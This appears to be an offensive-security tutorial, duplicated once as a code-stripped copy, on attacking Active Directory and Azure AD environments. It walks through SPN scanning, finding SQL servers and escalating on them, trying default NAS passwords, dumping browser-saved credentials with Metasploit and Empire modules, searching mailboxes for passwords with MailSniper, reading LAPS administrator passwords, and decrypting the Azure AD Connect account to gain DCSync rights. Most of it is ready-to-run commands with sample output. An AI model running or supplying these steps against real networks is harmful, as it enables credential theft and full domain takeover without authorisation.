The content of the article
SPN scan
When privileges need to be escalated, attackers usually use service accounts, because these accounts have more privileges, but there is no strict policy to change the password after a specified period of time. That is, if you compromise them, then you can go unnoticed for a long time.
The SPN string has the following format:
An SPN scan is the first thing an attacker or penetration tester typically does when looking for services in an Active Directory environment. The main advantage of this method over scanning network ports is that it does not require interaction with every host on the network to check service ports. SPN scanning allows services to be discovered by using LDAP queries to a domain controller. Since SPN requests are the normal behavior of Kerberos authentication, this scanning method is very difficult (even almost impossible) to detect, unlike port scanning.
You can scan the SPN using a PowerShell script.
Most interesting services:
I want to share with you another interesting script that will show you all SPNs for all users and all computers.
Data collection
Shared resources
Network folders and file servers are often used in an Active Directory environment. These commands will display a list of shares on the local host, a list of network computers, and a list of shares on the remote computer:
But what if the security policy prohibits the use of network commands? In this case, we will be rescued wmic. The list of shares on the local host and the list of shares on the remote computer can be viewed using the commands
A useful tool for finding data is PowerView. It automatically discovers network shares and file servers using the Find-DomainShareand commands Get-DomainFileServer.
By the way, PowerView is built into the PowerShell Empire framework and is represented by two modules:
Database
An Active Directory environment typically has multiple database servers. PowerUpSQL is a great tool for discovering and listing Microsoft SQL servers and attacks against them.
You can find all local SQL instances with the command
To find all SQL instances on a network or domain, use the commands
After searching, we collect information about SQL instances. Local:
And remote ones:
When we have found all the SQL instances and collected information about them, we can:
Network Attached Storage
Network Attached Storage (NAS) is a file-level storage server. Since files are stacked there, this is often the target of an attacker. NAS does not need a full-fledged operating system, so FreeNAS or NAS4Free based on FreeBSD are often installed on them. Most NAS can be administered via the web or SSH. In this case, you should iterate over the default login-password bundles. Here are the five most common:
User data with privileges
User credentials
For hunting users, BloodHound is a great tool for active directory search.
You can determine where a particular user or group of users is logged on by using PowerView commands and the PowerShell Empire Module.
Local data
After compromising user credentials, many opportunities arise: writing to the desktop, receiving a picture from a webcam, resetting passwords, installing keyloggers. Most of these capabilities are automated in the Metasploit Framework, PowerShell Empire, and Cobalt Strike tools.
Many - maybe even you - allow browsers to save their passwords. And often we use the same passwords for different services, so the passwords found in the browser will most likely be useful to us.
Here are Metasploit modules that help with this:
PowerShell Empire Modules:
Firefox profile files are in C:\Users\TARGET\AppData\Roaming\Mozilla\Firefox\Profiles, and Google Chrome profiles are in C:\Users\TARGET\AppData\Local\Google\Chrome\User Data\Default. To find out the remote access data, you can use the Metasploit module post/windows/gather/enum_putty_saved_sessionsor the Empire collection/netripperand modules credentials/sessiongopher.
User files
Often the attacker's target is user files. To find them, there is a very convenient PowerShell script - WMImplant. It allows you to use filters. For example, to find a file named wmimplant, run the commands
You can also set up a filter by file extension.
To search for files on a remote machine, use the Get-WMIObjectparameter -ComputerName.
Microsoft Exchange and Outlook with privileges
If the attacker has user credentials, then the mailboxes are also compromised. If you are on the attacking side, open the Outlook panel and make queries for which useful data may be found. Eg логин, пароль, password, pass, credentials, vpn, ssh, root, confidential.
This process can be automated using the MailSniper tool. To automatically discover the target Exchange server and search the user@example.com mailbox, use the following command:
If the box is known, then this:
If you already have Exchange administrator rights, you can search all mailboxes:
Credentials
Domain Admin Accounts
There are two effective methods to search for elevated accounts in Active Directory. The first is a standard group enumeration method that identifies all members of regular Active Directory Administrator groups. Most organizations have custom admin groups - naming schemes vary, but if you search for admin, you probably won't miss.
The second method is to search for accounts with an attribute AdminCountequal to one.
But keep in mind that, among other things, you will receive accounts that do not have administrator rights. The point is that this value is not automatically reset after the account is removed from the administrator groups.
Hidden administrator account
A hidden administrator account is a domain account that gives an administrator access to a domain controller, exchange server, or database server. But this entry does not belong to privileged groups in Active Directory, that is, domain administrators. Permissions for these accounts are assigned directly using Access Control Lists (ACLs) for Active Directory objects.
These are often service accounts. They usually have access to multiple systems in the environment. At the same time, such accounts do not receive as much attention and the same strict security policies as domain administrators. As a result, they become the main target of cybercriminals during sideways movement or privilege escalation.
Use the BloodHound tool to find hidden administrator accounts. Full instructions for installing this tool can be found in the project wiki.
After configuring the database and logging into the BloodHound web interface, you can start collecting Active Directory data using BloodHound PowerShell. Here's how to run commands to find domains in the forest and save the CSV to the specified folder:
After downloading the file, you have a wide choice of further actions. You can view all domain administrators, see the list of users with local administrator rights, define machines with administrator rights, and much more.
This way, by looking at the "trust map" and "10 users with most local administrator rights", we can determine the accounts that have access to most systems, and also find out if there are two-way trusts between external domains that could extend range of available resources.
Another way to find hidden administrator accounts is to look for a domain controller.
As you can see, there are two accounts that have local administrator access to the domain controller. They are not part of the Domain Admins group. Congratulations, we just discovered two hidden admin accounts!
Active Directory groups
Active Directory groups are of two types.
Security groups can have one of three scopes. The scope of a group affects what types of group objects can be added to it and in which other groups the group can be nested.
You can find all groups of a certain type using PowerView.
Information from local Active Directory groups
You can find local administrators using the command
The PowerShell module will help you get a list of all users activedirectory, just run the command Get_ADUser -filter *. You can get a list of groups that a specific user belongs to with the command Get-NetGroup -UserName [user].
It is also possible to find out the list of computers to which a particular user or group has access. To do this, use the commands
But you can also return a list of objects that have access to a specific computer. There is a command for this
Another very important piece of information that we can get: which GPOs are applied to a particular machine. This is done by the team
It is important that all of these features allow you to request information without elevated privileges.
Local Administrator Password Solution
Local Administrator Password Solution (LAPS) is a system designed to manage passwords of local administrators on domain computers. It allows a domain administrator to periodically change the password for the local Administrators account, delegate read and reset rights for Active Directory users or groups, and stores passwords in an extended attribute of a computer object in Active Directory. The system consists of three components: an agent, a PowerShell module for configuring the system, and an Active Directory for storing passwords.
There are two ways to detect LAPS.
This way we can determine if there is LAPS on our machine. When we find out that LAPS is definitely on the machine, we look at the config. The specific configuration for the LAPS policy is in Registry.polthe section gpcfilesyspath. Use the GPRegistryPolicy tool to decode:
The password has a complexity of four (upper and lower case, as well as numbers and special characters), the password is eight characters long, the password is valid for 30 days, and the policy applies to the local account localfish.
Now we will find all computers to which this GPO is applied. To do this, we need to know the GUID of this object. First, we will define the divisions, and then in each division we will find workstations.
We found all computers covered by this LAPS configuration. LAPS PowerShell provides many options. For example, we can here is a command to determine that LAB\Workstation Admins, and LAB\Server Adminshave expanded rights in Workstations and Servers divisions:
Now it's easy to get the password.
AppLocker
AppLocker is a technology that allows a system administrator to block the execution of certain executable files on computers on a network. That is, you can create rules according to which permission to execute or refuse will be issued. For example, you can validate unique file IDs and allow only specific users or groups to run.
Typically, AppLocker configuration is applied through a GPO. In such a case, it is easy to extract the configuration from SYSVOLif we have read access to the share. To view the GPOs and which machines they apply to, see the LAPS section. Only the path is different:
There are three ways of application blocking rule: Publisher, Pathand File Hash.
At the site of %ext%use the keys: Appx, Exe, Dll, Msi, Script.
Azure Active Directory
Azure Active Directory (Azure AD) is a cloud-based identity and access management service. It is needed to create and manage user accounts and is used in Microsoft cloud services such as Azure, Office 365, SharePoint. Whereas AD uses Kerberos to authenticate users, it uses OAuth 2.0 in the same role.
Synchronization between AD and Azure AD occurs in three scenarios.
Password Synchronization Script
The password synchronization (PHS) scenario is of particular interest to us. For data synchronization, AD has an Azure AD Connect application that pulls data from AD and uploads it to AAD. The DCSync service is responsible for synchronization.
When a connection is created, a new database is created on the host using LocalDB for SQL Server. We can view information about a running instance using the SqlLocalDb.exe tool.
The database supports Azure AD Sync - it stores metadata and configurations for the service. The encrypted password is in the table ADSync.dbo.mms_management_agentin the field encrypted_configurationand a library is used to decrypt it C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll. You can decrypt using AzureadDecryptorMsol.ps1.
As you can see from the security configuration, if you manage to compromise the server with Azure AD Connect and gain access to ADSyncAdminseither the local admin groups, then you have the opportunity to get an account that can perform DCSync.
Directory Synchronization Script
In this scenario, different passwords are applied to the same account in AD and AAD, making an attack on the sync session irrelevant. But since the rest of the credentials in the case of synchronization will be the same, we can conduct reconnaissance for AAD, and its results will mostly be relevant for AD.
For convenience, we will use the Azure CLI, which is a Linux tool used on Windows networks. We start with a command az login- it will generate local OAuth tokens, open a browser window on the authorization page, and you can log in as an existing user. The following command allows you to get a list of users, the parameter outputdetermines the format of data presentation, and querywhat data to display.
Here are some other possibilities.
List of groups:
List of users in a specific group:
Application list:
All services:
Service specific information:
Conclusion
Now you know all the loopholes and methods that can be used to obtain information for attacking users, escalating privileges, sideways promotion and taking over the network as a whole. Use this knowledge wisely!
- SPN scan
- Data collection
- Shared resources
- Database
- Network Attached Storage
- User data with privileges
- Microsoft Exchange and Outlook with privileges
- Credentials
- Domain Admin Accounts
- Hidden administrator account
- Active Directory groups
- Information from local Active Directory groups
- Local Administrator Password Solution
- AppLocker
- Azure Active Directory
- Password Synchronization Script
- Directory Synchronization Script
- Conclusion
SPN scan
When privileges need to be escalated, attackers usually use service accounts, because these accounts have more privileges, but there is no strict policy to change the password after a specified period of time. That is, if you compromise them, then you can go unnoticed for a long time.
The SPN string has the following format:
Code:
SPN="serviceclass"/"hostname[:port]"[/"servicename"]
- Serviceclass- a string that identifies the class of service, for example ldap, an identifier for a directory service;
- Hostname - a line that indicates the fully qualified domain name of the system, and sometimes the port;
- Servicename - a string that represents the unique name (DN), object GUID, or fully qualified domain name (FQDN) of the service.
An SPN scan is the first thing an attacker or penetration tester typically does when looking for services in an Active Directory environment. The main advantage of this method over scanning network ports is that it does not require interaction with every host on the network to check service ports. SPN scanning allows services to be discovered by using LDAP queries to a domain controller. Since SPN requests are the normal behavior of Kerberos authentication, this scanning method is very difficult (even almost impossible) to detect, unlike port scanning.
You can scan the SPN using a PowerShell script.

Most interesting services:
- SQL (MSSQLSvc/adsmsSQLAP01.ads.org:1433)
- Exchange (exchangeMDB/adsmsEXCAS01.ads.org)
- RDP (TERMSERV / adsmsEXCAS01.adsecurity.org)
- WSMan / WinRM / PS Remoting (WSMAN/adsmsEXCAS01.ads.org)
- Hyper-V (Microsoft Virtual Console Service / adsmsHV01.ady.org)
- VMware VCenter (STS/adsmsVC01.ads.org)
I want to share with you another interesting script that will show you all SPNs for all users and all computers.
Code:
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results){
$userEntry = $result.GetDirectoryEntry()
Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
Write-host "DN = " $userEntry.distinguishedName
Write-host "Object Cat. = " $userEntry.objectCategory
Write-host "servicePrincipalNames"
$ i = 1
foreach($SPN in $userEntry.servicePrincipalName)
{
Write-host "SPN(" $i ") = " $SPN $i+=1
}
Write-host ""
}

Data collection
Shared resources
Network folders and file servers are often used in an Active Directory environment. These commands will display a list of shares on the local host, a list of network computers, and a list of shares on the remote computer:
Code:
> net share
> net view
> net view COMPUTER_NAME /all
But what if the security policy prohibits the use of network commands? In this case, we will be rescued wmic. The list of shares on the local host and the list of shares on the remote computer can be viewed using the commands
Code:
> wmic share get /format:list
> wmic /node: COMPUTER_NAME share get
A useful tool for finding data is PowerView. It automatically discovers network shares and file servers using the Find-DomainShareand commands Get-DomainFileServer.
By the way, PowerView is built into the PowerShell Empire framework and is represented by two modules:
- situational_awareness/network/powerview/share_finder;
- situational_awareness/network/powerview/get_fileserver...
Database
An Active Directory environment typically has multiple database servers. PowerUpSQL is a great tool for discovering and listing Microsoft SQL servers and attacks against them.
You can find all local SQL instances with the command
Code:
> Get-SQLInstanceLocal -Verbose
To find all SQL instances on a network or domain, use the commands
Code:
> Get-SQLInstanceDomain -Verbose
> Get-SQLInstanceBroadcast -Verbose
> Get-SQLInstanceScanUDP -Verbose
After searching, we collect information about SQL instances. Local:
Code:
> Get-SQLInstanceLocal | Get-SQLServerInfo
And remote ones:
Code:
> Get-SQLServerInfo -Instance "COMPUTER_NAME"
When we have found all the SQL instances and collected information about them, we can:
- get a list of SQL instances that the current domain user is allowed to log into:
Code:
> Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10
- try to get admin rights for the SQL instance:
Code:
> Invoke-SQLEscalatePriv -Verbose -Instance "COMPUTER_NAME"
- list SQL instances across the entire domain using default passwords:
Code:
> Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose
- dump information about SQL Server and database into CSV or XML files:
Code:
> Invoke-SQLDumpInfo -Verbose -Instance "COMPUTER_NAME"
- run audit functions for SQL server:
Code:
> Invoke-SQLAudit -Verbose -Instance "COMPUTER_NAME"
Network Attached Storage
Network Attached Storage (NAS) is a file-level storage server. Since files are stacked there, this is often the target of an attacker. NAS does not need a full-fledged operating system, so FreeNAS or NAS4Free based on FreeBSD are often installed on them. Most NAS can be administered via the web or SSH. In this case, you should iterate over the default login-password bundles. Here are the five most common:
- admin: admin;
- admin
assword;
- root:nasadmin;
- nasadmin: nasadmin;
- admin:"no pass".
User data with privileges
User credentials
For hunting users, BloodHound is a great tool for active directory search.
You can determine where a particular user or group of users is logged on by using PowerView commands and the PowerShell Empire Module.
Code:
> Find-DomainUserLocation -UserIdentity USER_NAME
> Find-DomainUserLocation -UserGroupIdentity GROUP_NAME
situational_awareness/network/powerview/user_hunter
Local data
After compromising user credentials, many opportunities arise: writing to the desktop, receiving a picture from a webcam, resetting passwords, installing keyloggers. Most of these capabilities are automated in the Metasploit Framework, PowerShell Empire, and Cobalt Strike tools.
Many - maybe even you - allow browsers to save their passwords. And often we use the same passwords for different services, so the passwords found in the browser will most likely be useful to us.
Here are Metasploit modules that help with this:
- post/windows/gather/enum_chrome
- post/multi/gather/firefox_creds
- post/firefox/gather/cookies
- post/firefox/gather/passwords
- post/windows/gather/forensics/browser_history
PowerShell Empire Modules:
- collection/ChromeDump
- collection/FoxDump
Firefox profile files are in C:\Users\TARGET\AppData\Roaming\Mozilla\Firefox\Profiles, and Google Chrome profiles are in C:\Users\TARGET\AppData\Local\Google\Chrome\User Data\Default. To find out the remote access data, you can use the Metasploit module post/windows/gather/enum_putty_saved_sessionsor the Empire collection/netripperand modules credentials/sessiongopher.
User files
Often the attacker's target is user files. To find them, there is a very convenient PowerShell script - WMImplant. It allows you to use filters. For example, to find a file named wmimplant, run the commands
Code:
> $filefilter = "Filename = 'wmimplant' AND Drive='C:'"
> Get-WMIObject -Class CIM_Datafile -filter $filefilter

You can also set up a filter by file extension.
Code:
> $filefilter = "Extensios = 'ps1' AND Drive='C:'"
> Get-WMIObject -Class CIM_Datafile -filter $filefilter

To search for files on a remote machine, use the Get-WMIObjectparameter -ComputerName.
Microsoft Exchange and Outlook with privileges
If the attacker has user credentials, then the mailboxes are also compromised. If you are on the attacking side, open the Outlook panel and make queries for which useful data may be found. Eg логин, пароль, password, pass, credentials, vpn, ssh, root, confidential.
This process can be automated using the MailSniper tool. To automatically discover the target Exchange server and search the user@example.com mailbox, use the following command:
Code:
> Invoke-SelfSearch -OutputCsv local-results.csv -Mailbox user@example.com
If the box is known, then this:
Code:
> Invoke-SelfSearch -Remote -ExchHostname outlook.office365.com -OutputCsv local-results.csv -Mailbox user@example.com
If you already have Exchange administrator rights, you can search all mailboxes:
Code:
> Invoke-GlobalMailSearch -ImpersonationAccount TARGET_USER -ExchHostname Exch01 -OutputCsv global-results.csv
Credentials
Domain Admin Accounts
There are two effective methods to search for elevated accounts in Active Directory. The first is a standard group enumeration method that identifies all members of regular Active Directory Administrator groups. Most organizations have custom admin groups - naming schemes vary, but if you search for admin, you probably won't miss.
Code:
> get-adgroup -filter {GroupCategory -eq 'Security' -AND Name -like "admin"}
DistinguishedName: CN=Server Admins,OU=AD Management,DC=lab,DC=adsecurity,DC=org
GroupCategory: Security
GroupScope: Global
Name: Server Admins
ObjectClass: group
ObjectGUID: 3877c311-9321-41c0-a6b5-c0d88684b335
SamAccountName: ServerAdmins
SID: S-1-5-21-1581655573-3923512380-696647894-2628
The second method is to search for accounts with an attribute AdminCountequal to one.
Code:
> get-aduser -filter {AdminCount -eq 1} -Properties Name,AdminCount,ServicePrincipalName,MemberOf
AdminCount: 1
DistinguishedName: CN=ADSAdministrator,CN=Users,DC=lab,DC=ads,DC=org
Enabled: True
MemberOf: {CN=Administrators,CN=Builtin,DC=lab,DC=ads,DC=org, CN=Schema Admins,CN=Users,DC=lab,DC=ads,DC=org, CN=Group
Policy Creator Owners,CN=Users,DC=lab,DC=ads,DC=org, CN=Enterprise Admins,CN=Users,DC=lab,DC=ads,DC=org…}
Name: ADSAdministrator
ObjectClass: user
ObjectGUID: 72ac7731-0a76-4e5a-8e5d-b4ded9a304b5
SamAccountName: ADSAdministrator
SID: S-1-5-21-1581655573-3923512380-696647894-500
Surname:
UserPrincipalName:
But keep in mind that, among other things, you will receive accounts that do not have administrator rights. The point is that this value is not automatically reset after the account is removed from the administrator groups.
Hidden administrator account
A hidden administrator account is a domain account that gives an administrator access to a domain controller, exchange server, or database server. But this entry does not belong to privileged groups in Active Directory, that is, domain administrators. Permissions for these accounts are assigned directly using Access Control Lists (ACLs) for Active Directory objects.
These are often service accounts. They usually have access to multiple systems in the environment. At the same time, such accounts do not receive as much attention and the same strict security policies as domain administrators. As a result, they become the main target of cybercriminals during sideways movement or privilege escalation.
Use the BloodHound tool to find hidden administrator accounts. Full instructions for installing this tool can be found in the project wiki.
After configuring the database and logging into the BloodHound web interface, you can start collecting Active Directory data using BloodHound PowerShell. Here's how to run commands to find domains in the forest and save the CSV to the specified folder:
Code:
> . .\SharpHound.ps1
> Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public

After downloading the file, you have a wide choice of further actions. You can view all domain administrators, see the list of users with local administrator rights, define machines with administrator rights, and much more.

This way, by looking at the "trust map" and "10 users with most local administrator rights", we can determine the accounts that have access to most systems, and also find out if there are two-way trusts between external domains that could extend range of available resources.
Another way to find hidden administrator accounts is to look for a domain controller.
- We are looking for the Domain Controllers group.
- We select "Direct Members" in the "Group Members" section: all the nodes of the domain controller system in this group are displayed there.
- By clicking on one of the system nodes in the "Local administrators" section, select "Derived local administrators".

As you can see, there are two accounts that have local administrator access to the domain controller. They are not part of the Domain Admins group. Congratulations, we just discovered two hidden admin accounts!
Active Directory groups
Active Directory groups are of two types.
- Distribution groups are used for e-mail distribution lists and cannot be used to control access to resources, so we are not interested in them.
- Security groups - can be used for access control and added to access control lists.
Security groups can have one of three scopes. The scope of a group affects what types of group objects can be added to it and in which other groups the group can be nested.
- Global groups can be nested within domain local groups, universal groups, and other global groups in the same domain.
- Universal groups can be nested within domain local groups and other universal groups in any domain.
- A domain local group cannot be nested in a global or universal group.
You can find all groups of a certain type using PowerView.
- Get-DomainGroup -GroupScope DomainLocal - find local groups;
- Get-DomainGroup -GroupScope NotDomainLocal - find non-local groups;
- Get-DomainGroup -GroupScope Global - find global groups;
- Get-DomainGroup -GroupScope NotGlobal - find non-global groups;
- Get-DomainGroup -GroupScope Universal- find universal groups;
- Get-DomainGroup -GroupScope NotUniversal - find non-universal groups;
- Get-DomainGroup -GroupProperty Security - find security groups;
- Get-DomainGroup -GroupProperty Distribution - find distribution groups;
- Get-DomainGroup -GroupProperty CreatedBySystem - find groups created by the system.

Information from local Active Directory groups
You can find local administrators using the command
Code:
> Invoke-EnumerateLocalAdmin | ft -autosize

The PowerShell module will help you get a list of all users activedirectory, just run the command Get_ADUser -filter *. You can get a list of groups that a specific user belongs to with the command Get-NetGroup -UserName [user].
It is also possible to find out the list of computers to which a particular user or group has access. To do this, use the commands
Code:
> Find-GPOLocation -UserName [user]
> Find-GPOLocation -GroupName [group]
But you can also return a list of objects that have access to a specific computer. There is a command for this
Code:
> Find-GPOComputerAdmin -ComputerName [computer] -Recurse
Another very important piece of information that we can get: which GPOs are applied to a particular machine. This is done by the team
Code:
> Get-DomainGPO -ComputerIdentity [PC_id] -Properties displayname
It is important that all of these features allow you to request information without elevated privileges.
Local Administrator Password Solution
Local Administrator Password Solution (LAPS) is a system designed to manage passwords of local administrators on domain computers. It allows a domain administrator to periodically change the password for the local Administrators account, delegate read and reset rights for Active Directory users or groups, and stores passwords in an extended attribute of a computer object in Active Directory. The system consists of three components: an agent, a PowerShell module for configuring the system, and an Active Directory for storing passwords.
There are two ways to detect LAPS.
- All hosts where LAPS is installed C:\Program Files\LAPS\CSE\will have a file in the folder AdmPwd.dll.
- LAPS configurations are defined in GPOs. The command Get-DomainGPO -Identity "*LAPS*"can search for any GPO that has the word LAPS in its display name.
Code:
displayname: LAPS
...
gpcfilesyspath: \\test.local\SysVol\test.local\Policies\{C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA}
distinguishedname: CN={C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA},CN=Policies,CN=System,DC=testlab,DC=local
...
This way we can determine if there is LAPS on our machine. When we find out that LAPS is definitely on the machine, we look at the config. The specific configuration for the LAPS policy is in Registry.polthe section gpcfilesyspath. Use the GPRegistryPolicy tool to decode:
Code:
Parse-PolFile "\\test.local\SysVol\test.local\Policies\{C8701BA8-56D9-4123-B6B2-FE3FA5031BAA}\Machine\Registry.pol"
Example command output:
KeyName: Software\Policies\Microsoft Services\AdmPwd
ValueName: PasswordComplexity
ValueType: REG_DWORD
ValueLength: 4
ValueData: 4
KeyName: Software\Policies\Microsoft Services\AdmPwd
ValueName: PasswordLength
ValueType: REG_DWORD
ValueLength: 4
ValueData: 8
KeyName: Software\Policies\Microsoft Services\AdmPwd
ValueName: PasswordAgeDays
ValueType: REG_DWORD
ValueLength: 4
ValueData: 30
KeyName: Software\Policies\Microsoft Services\AdmPwd
ValueName: AdminAccountName
ValueType: REG_SZ
ValueLength: 26
ValueData: localfish
KeyName: Software\Policies\Microsoft Services\AdmPwd
ValueName: AdmPwdEnabled
ValueType: REG_DWORD
ValueLength: 4
ValueData: 1
The password has a complexity of four (upper and lower case, as well as numbers and special characters), the password is eight characters long, the password is valid for 30 days, and the policy applies to the local account localfish.
Now we will find all computers to which this GPO is applied. To do this, we need to know the GUID of this object. First, we will define the divisions, and then in each division we will find workstations.
Code:
> Get-DomainOU -GPLink "C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA" -Properties distinguishedname
distinguishedname
-----------------
OU=Workstations,DC=testlab,DC=local
OU=Servers,DC=testlab,DC=local
> Get-DomainComputer -SearchBase "LDAP://OU=Workstations,DC=testlab,DC=local" -Properties distinguishedname
distinguishedname
-----------------
CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
> Get-DomainComputer -SearchBase "LDAP://OU=Servers,DC=testlab,DC=local" -Properties distinguishedname
distinguishedname
-----------------
CN=FS01,OU=Servers,DC=testlab,DC=local
We found all computers covered by this LAPS configuration. LAPS PowerShell provides many options. For example, we can here is a command to determine that LAB\Workstation Admins, and LAB\Server Adminshave expanded rights in Workstations and Servers divisions:
Code:
> Find-AdmPwdExtendedRights -Identity "Workstations" | fl
ObjectDN: OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders: {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}
> Find-AdmPwdExtendedRights -Identity "Servers" | fl
ObjectDN : OU=Servers,DC=testlab,DC=local
ExtendedRightHolders: {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Server Admins}
Now it's easy to get the password.
Code:
> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName: WKSTN02
DistinguishedName: CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password: !qP)iyT
ExpirationTimestamp:
AppLocker
AppLocker is a technology that allows a system administrator to block the execution of certain executable files on computers on a network. That is, you can create rules according to which permission to execute or refuse will be issued. For example, you can validate unique file IDs and allow only specific users or groups to run.
Typically, AppLocker configuration is applied through a GPO. In such a case, it is easy to extract the configuration from SYSVOLif we have read access to the share. To view the GPOs and which machines they apply to, see the LAPS section. Only the path is different:
Code:
Software\Policies\Microsoft\Windows\SrpV2\%ext%\xxxxxxxx-xxx-xxx-xxx-xxxxxxxxxxxx

There are three ways of application blocking rule: Publisher, Pathand File Hash.

At the site of %ext%use the keys: Appx, Exe, Dll, Msi, Script.
Azure Active Directory
Azure Active Directory (Azure AD) is a cloud-based identity and access management service. It is needed to create and manage user accounts and is used in Microsoft cloud services such as Azure, Office 365, SharePoint. Whereas AD uses Kerberos to authenticate users, it uses OAuth 2.0 in the same role.
Synchronization between AD and Azure AD occurs in three scenarios.
- Directory Synchronization Script. It allows you to synchronize new user and group accounts with the cloud, while the user's login is synchronized with AD, and the password will have to be changed, since it is not synchronized.
- The password synchronization script allows users to log into the cloud service with a password from a local AD account. At the same time, the login and password hash are synchronized.
- A single sign-on script enables users to authenticate to on-premises AD and enables a single sign-on script using corporate credentials by synchronizing access tokens.
Password Synchronization Script
The password synchronization (PHS) scenario is of particular interest to us. For data synchronization, AD has an Azure AD Connect application that pulls data from AD and uploads it to AAD. The DCSync service is responsible for synchronization.

When a connection is created, a new database is created on the host using LocalDB for SQL Server. We can view information about a running instance using the SqlLocalDb.exe tool.

The database supports Azure AD Sync - it stores metadata and configurations for the service. The encrypted password is in the table ADSync.dbo.mms_management_agentin the field encrypted_configurationand a library is used to decrypt it C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll. You can decrypt using AzureadDecryptorMsol.ps1.

As you can see from the security configuration, if you manage to compromise the server with Azure AD Connect and gain access to ADSyncAdminseither the local admin groups, then you have the opportunity to get an account that can perform DCSync.

Directory Synchronization Script
In this scenario, different passwords are applied to the same account in AD and AAD, making an attack on the sync session irrelevant. But since the rest of the credentials in the case of synchronization will be the same, we can conduct reconnaissance for AAD, and its results will mostly be relevant for AD.
For convenience, we will use the Azure CLI, which is a Linux tool used on Windows networks. We start with a command az login- it will generate local OAuth tokens, open a browser window on the authorization page, and you can log in as an existing user. The following command allows you to get a list of users, the parameter outputdetermines the format of data presentation, and querywhat data to display.
Code:
az ad user list --output=json --query='[].{UPN:userPrincipalName,Name:displayName,Email:mail,UserId:mailNickname,Enabled:accountEnabled}'
Here are some other possibilities.
List of groups:
Code:
az ad group list --output=json --query='[].{Group:displayName,Description:description}'
List of users in a specific group:
Code:
az ad group member list --output=json --query='[].{UPN:userPrincipalName, Name:displayName, UserId:mailNickname, Enabled:accountEnabled}' --group='<group name>'
Application list:
Code:
az ad app list --output=json --query='[].{Name:displayName,URL:homepage}'
All services:
Code:
az ad sp list --output=json --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage}'
Service specific information:
Code:
az ad sp list --output=json --display-name='<display name>'
Conclusion
Now you know all the loopholes and methods that can be used to obtain information for attacking users, escalating privileges, sideways promotion and taking over the network as a whole. Use this knowledge wisely!